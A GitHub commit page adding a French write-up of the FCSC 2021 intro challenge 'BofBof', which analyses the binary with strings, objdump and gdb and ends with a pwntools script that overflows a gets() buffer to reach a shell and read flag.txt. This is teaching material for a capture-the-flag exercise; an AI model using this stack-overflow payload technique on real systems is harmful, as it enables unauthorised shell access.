-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add WU FCSC 2021 Bofbof (Tristan BALDIT)
- Loading branch information
1 parent
bac1717
commit 4ef3076
Showing
1 changed file
with
276 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,276 @@ | ||
# Write Up : BofBof (intro FCSC 2021) | ||
|
||
## Présentation du challenge | ||
|
||
Le challenge contient : | ||
`docker-compose.yml` : un fichier de configuration permettant d'accéder à un conteneur docker en local | ||
`bofbof` : un executable ELF x64, dynamically linked & not stripped | ||
|
||
L'objectif du challenge est d'accéder au fichier `flag.txt` présent sur le docker. | ||
Le seul problème ? Le programme `bofbof` tourne déja sur le docker. | ||
|
||
## Première approche : étude de `bofbof` | ||
|
||
Commençons par lancer `bofbof` : | ||
|
||
``` | ||
Comment est votre blanquette ? | ||
>>> | ||
``` | ||
|
||
Le programme demande une entrée utilisateur, rentrons `AAAAAA`. | ||
Cela ferme tout simplement le programme ... la solution serait donc un stack buffer overflow ? | ||
|
||
Regardons maintenant ce que donne `strings bofbof` : | ||
|
||
``` | ||
/lib64/ld-linux-x86-64.so.2 | ||
gets | ||
fflush | ||
exit | ||
puts | ||
printf | ||
stdout | ||
system | ||
__cxa_finalize | ||
__libc_start_main | ||
libc.so.6 | ||
GLIBC_2.2.5 | ||
_ITM_deregisterTMCloneTable | ||
__gmon_start__ | ||
_ITM_registerTMCloneTable | ||
u/UH | ||
AAAAAAAAH | ||
AAAAAAAAH9E | ||
wfUD3" | ||
[]A\A]A^A_ | ||
/bin/sh | ||
Comment est votre blanquette ? | ||
>>> | ||
Almost there! | ||
;*3$" | ||
GCC: (Debian 10.2.1-6) 10.2.1 20210110 | ||
crtstuff.c | ||
deregister_tm_clones | ||
__do_global_dtors_aux | ||
completed.0 | ||
__do_global_dtors_aux_fini_array_entry | ||
frame_dummy | ||
__frame_dummy_init_array_entry | ||
bofbof.c | ||
__FRAME_END__ | ||
__init_array_end | ||
_DYNAMIC | ||
__init_array_start | ||
__GNU_EH_FRAME_HDR | ||
_GLOBAL_OFFSET_TABLE_ | ||
__libc_csu_fini | ||
_ITM_deregisterTMCloneTable | ||
stdout@GLIBC_2.2.5 | ||
puts@GLIBC_2.2.5 | ||
vuln | ||
_edata | ||
system@GLIBC_2.2.5 | ||
printf@GLIBC_2.2.5 | ||
__libc_start_main@GLIBC_2.2.5 | ||
__data_start | ||
__gmon_start__ | ||
__dso_handle | ||
_IO_stdin_used | ||
gets@GLIBC_2.2.5 | ||
__libc_csu_init | ||
fflush@GLIBC_2.2.5 | ||
__bss_start | ||
main | ||
exit@GLIBC_2.2.5 | ||
__TMC_END__ | ||
_ITM_registerTMCloneTable | ||
__cxa_finalize@GLIBC_2.2.5 | ||
.symtab | ||
.strtab | ||
.shstrtab | ||
.interp | ||
.note.gnu.build-id | ||
.note.ABI-tag | ||
.gnu.hash | ||
.dynsym | ||
.dynstr | ||
.gnu.version | ||
.gnu.version_r | ||
.rela.dyn | ||
.rela.plt | ||
.init | ||
.plt.got | ||
.text | ||
.fini | ||
.rodata | ||
.eh_frame_hdr | ||
.eh_frame | ||
.init_array | ||
.fini_array | ||
.dynamic | ||
.got.plt | ||
.data | ||
.bss | ||
.comment | ||
``` | ||
|
||
On remarque plusieurs choses intéressantes, premièrement `bofbof` utilise la fonction `gets` : l'idée est donc bien | ||
de faire un stack buffer overflow ! De plus on remarque la présence de `system` et de `vuln` : l'executable contient | ||
une "faille" et semble capable d'accéder au système du conteneur et ainsi au `flag.txt`. | ||
|
||
Essayons maintenant de lancer `bofbof` et cette fois de faire un buffer overflow : | ||
|
||
``` | ||
Comment est votre blanquette ? | ||
>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ||
zsh :segmentation fault ./bofbof | ||
``` | ||
Ok trop grand, réessayons : | ||
|
||
``` | ||
Comment est votre blanquette ? | ||
>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ||
Almost there! | ||
``` | ||
|
||
D'accord donc le problème est plus fin qu'un overflow basique, passons aux choses sérieuses. | ||
|
||
## Les choses sérieuses | ||
|
||
Commençons par objdump, ce qui nous donne le disassembly de `vuln` et `main` de `bofbof` : | ||
|
||
``` | ||
objdump -d bofbof | ||
0000000000001185 <vuln>: | ||
1185: 55 push %rbp | ||
1186: 48 89 e5 mov %rsp,%rbp | ||
1189: 48 8d 3d 78 0e 00 00 lea 0xe78(%rip),%rdi # 2008 <_IO_stdin_used+0x8> | ||
1190: e8 ab fe ff ff call 1040 <system@plt> | ||
1195: bf 01 00 00 00 mov $0x1,%edi | ||
119a: e8 e1 fe ff ff call 1080 <exit@plt> | ||
000000000000119f <main>: | ||
119f: 55 push %rbp | ||
11a0: 48 89 e5 mov %rsp,%rbp | ||
11a3: 48 83 ec 30 sub $0x30,%rsp | ||
11a7: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax | ||
11ae: 41 41 41 | ||
11b1: 48 89 45 f8 mov %rax,-0x8(%rbp) | ||
11b5: 48 8d 3d 54 0e 00 00 lea 0xe54(%rip),%rdi # 2010 <_IO_stdin_used+0x10> | ||
11bc: b8 00 00 00 00 mov $0x0,%eax | ||
11c1: e8 8a fe ff ff call 1050 <printf@plt> | ||
11c6: 48 8b 05 8b 2e 00 00 mov 0x2e8b(%rip),%rax # 4058 <stdout@GLIBC_2.2.5> | ||
11cd: 48 89 c7 mov %rax,%rdi | ||
11d0: e8 9b fe ff ff call 1070 <fflush@plt> | ||
11d5: 48 8d 45 d0 lea -0x30(%rbp),%rax | ||
11d9: 48 89 c7 mov %rax,%rdi | ||
11dc: b8 00 00 00 00 mov $0x0,%eax | ||
11e1: e8 7a fe ff ff call 1060 <gets@plt> | ||
11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax | ||
11ed: 41 41 41 | ||
11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) | ||
11f4: 74 26 je 121c <main+0x7d> | ||
11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax | ||
11fd: 33 22 11 | ||
1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) | ||
1204: 75 0a jne 1210 <main+0x71> | ||
1206: b8 00 00 00 00 mov $0x0,%eax | ||
120b: e8 75 ff ff ff call 1185 <vuln> | ||
1210: 48 8d 3d 1d 0e 00 00 lea 0xe1d(%rip),%rdi # 2034 <_IO_stdin_used+0x34> | ||
1217: e8 14 fe ff ff call 1030 <puts@plt> | ||
121c: b8 00 00 00 00 mov $0x0,%eax | ||
1221: c9 leave | ||
1222: c3 ret | ||
1223: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) | ||
122a: 00 00 00 | ||
122d: 0f 1f 00 nopl (%rax) | ||
``` | ||
|
||
Ici, c'est surtout le `main` qui nous va nous intéresser on remarque premièrement l'appel à `vuln` : | ||
|
||
|
||
``` | ||
120b: e8 75 ff ff ff call 1185 <vuln> | ||
``` | ||
|
||
Mais on remarque surtout deux blocs qui expliquent que `vuln` n'est pas appelé en temps normal : | ||
|
||
``` | ||
11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) | ||
11f4: 74 26 je 121c <main+0x7d> | ||
. | ||
. | ||
. | ||
1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) | ||
1204: 75 0a jne 1210 <main+0x71> | ||
``` | ||
|
||
Ces deux blocs empêchent le `main` d'appeler `vuln` : deux comparaisons forcent le programme à sauter plus loin dans | ||
le `main` et donc à skipper l'appel à `vuln`. | ||
|
||
Le premier bloc fonctionne de la façon suivante : le programme effectue une comparaison entre `eax` et `-0x8(%rbp)` | ||
(on reviendra plus tard sur cette valeur) et si les deux sont égaux alors le programme effectue le saut (`je` : jump if) | ||
vers `<main+0x7d>`. | ||
|
||
Le second compare là encore `eax` et `-0x8(%rbp)`et cette fois si les deux ne sont pas égaux alors le programme effectue | ||
le saut (`jne` : jump if not) vers `<main+0x71>`. | ||
|
||
Mais alors que vaut `eax` ? Deux lignes nous donne la réponse : | ||
|
||
``` | ||
11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax | ||
. | ||
. | ||
. | ||
11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax | ||
``` | ||
|
||
Ainsi lors de la première comparaison `eax` vaut `0x4141414141414141` (soit 'AAAAAAAA' en ASCII). | ||
Lors de la seconde il vaut `0x1122334455667788`. | ||
|
||
Maintenant tentons de comprendre ce que vaut `-0x8(%rbp)` pour cela lançons `gdb` et plaçons nous juste avant l'appel à | ||
`gets` : | ||
|
||
![](../data/wu3.png) | ||
![](../data/wu.png) | ||
|
||
On a donc la valeur actuelle de `-0x8(%rbp)` et c'est celle-ci qu'il va falloir changer, l'objectif est donc d'y écrire | ||
`0x1122334455667788` pour que le programme ne prenne aucun des deux sauts. | ||
|
||
Avançons donc d'une instruction pour voir où se trouve le buffer issu de `gets` : | ||
|
||
![](../data/wu4.png) | ||
|
||
On a donc l'emplacement du buffer dans la stack et surtout son emplacement relatif par rapport à `rbp` (différence de `0x38`). | ||
Ainsi, il faut rentrer par exemple `"A"*40 + 0x1122334455667788` pour réécrire correctement `-0x8(%rbp)`. | ||
|
||
Il suffit maintenant d'effectuer ceci sur le conteneur docker et pour cela, nous allons utiliser un script python. | ||
|
||
## Le script | ||
|
||
Voici `bofbof.py` | ||
|
||
```python | ||
from pwn import * | ||
|
||
target = remote("localhost", 4000) ## connection au docker | ||
print(target.recv()) | ||
padding = b"A"*40 ## construction de la réponse | ||
payload = p64(0x1122334455667788) | ||
print(padding+payload) | ||
target.sendline(padding+payload) ## envoi de la réponse | ||
target.interactive() ## laisse le terminal du docker ouvert | ||
``` | ||
|
||
Lançons `bofbof.py` et regardons ce que cela donne : | ||
|
||
![](../data/wu6.png) | ||
|
||
On a donc réussi à accéder à un terminal et `cat flag.txt` permet d'accéder à `flag.txt`. |